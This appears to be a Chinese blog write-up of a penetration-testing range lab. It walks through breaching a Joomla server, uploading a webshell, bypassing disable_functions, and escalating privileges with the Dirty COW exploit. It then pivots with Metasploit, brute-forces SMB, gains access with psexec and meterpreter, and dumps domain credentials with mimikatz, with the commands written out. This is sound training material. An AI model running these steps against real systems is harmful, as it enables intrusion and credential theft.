红日靶场(三)

靶场拓扑图

实验给到的公网服务器域名为home.ctfstu.com,通过nmap扫描,发现其开启了2222(22)、8881(80)、3306端口,初步判断开启了SSH,HTTP和MYSQL的数据库服务

1.访问8881端口,发现使用的是joomla CMS

2.通过kali的joomscan(专门针对joomla)对其进行目录扫描,发现网站的后台/administrator/和一个configuration.php~文件

3.查看其配置文件,发现其数据库的账号密码

4.用Navicat登陆其数据库,在joomla数据库内的am2zu_users表中添加用户名damnman及密码secret

发现管理员用户id为336,权限为8,将我们新建的用户在am2zu_user_usergroup_map表中权限也设置问8

5.在登陆界面登陆,进入后台,发现有可以上传文件处,直接上传一句话木马

6.用蚁剑连接,路径为http://home.ctfstu.com:8881/templates/beez3/lwz.php,连接成功

7.使用命令行,发现不能执行命令,发现disable_functions禁用了一些可以执行命令或代码的函数。

使用disable_functions插件进行绕过,成功执行命令

8.查找文件,在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。

由于服务器开启了SSH服务于是尝试登录一下,成功!经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权。

9.脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权

EXP下载:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

将代码上传到一个可以执行的文件夹内

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码

./dirty my-new-password

切换脏牛用户

su firefart mv /tmp/passwd.bak /etc/passwd

10.在公网Viper上生成一句话木马,在192.168.93.110上执行,主机上线

11.在Viper的192.168.93.110的root权限主机上开启内网路由,然后进行主机扫描

在msf模块使用以下命令进行主机扫描

use auxiliary/scanner/discovery/udp_probe set RHOSTS 192.168.93.0/24 set THREADS 5 exploit/run

Vipermsf使用教程MSF使用教程-CSDN博客

发现网段内存在10,20,30三台主机

12(方法一).在msf模块使用以下命令

用500.txt爆破192.168.93.30的密码,用户名设置为默认的administrator

use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.93.30 set PASS_FILE /root/.msf4/loot/500.txt set SMBUser administrator exploit/run

得到密码为123qwe!ASD

用用户名和密码让192.168.93.30上线

use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set SMBUser administrator set SMBPass 123qwe!ASD set RHOSTS 192.168.93.30 exploit/run

30主机上线成功

20主机同上

发现10为域控主机,在30主机上上传mimikatz_x64.exe,用命令行执行

mimikatz_x64.exe privilege::debug sekurlsa::logonpasswords

成功获取域控主机的密码

用上面的方法登陆,10主机成功上线

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-25 16:54:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-25 16:54:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-25 16:54:01       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-25 16:54:01       20 阅读

热门阅读

  1. SGD优化器和Adam区别

    2024-03-25 16:54:01       18 阅读
  2. 我的算法刷题笔记(3.18-3.22)

    2024-03-25 16:54:01       21 阅读
  3. 什么是微任务?什么是宏任务?

    2024-03-25 16:54:01       19 阅读
  4. IOS面试题编程机制 31-35

    2024-03-25 16:54:01       17 阅读
  5. JVM G1垃圾回收器的工作内容

    2024-03-25 16:54:01       17 阅读
  6. 5.86 BCC工具之tcpstates.py解读

    2024-03-25 16:54:01       17 阅读
  7. 1928递归去处理压缩字符串

    2024-03-25 16:54:01       18 阅读
  8. P5963 [BalticOI ?] Card 卡牌游戏 贪心

    2024-03-25 16:54:01       20 阅读
  9. [Repo Git] manifests的写法

    2024-03-25 16:54:01       23 阅读
  10. 常用ES标准

    2024-03-25 16:54:01       19 阅读
  11. [leetcode] 26. 删除有序数组中的重复项

    2024-03-25 16:54:01       18 阅读
  12. String、StringBuilder、StringBuffer

    2024-03-25 16:54:01       15 阅读
  13. 【C语言】指针基础

    2024-03-25 16:54:01       19 阅读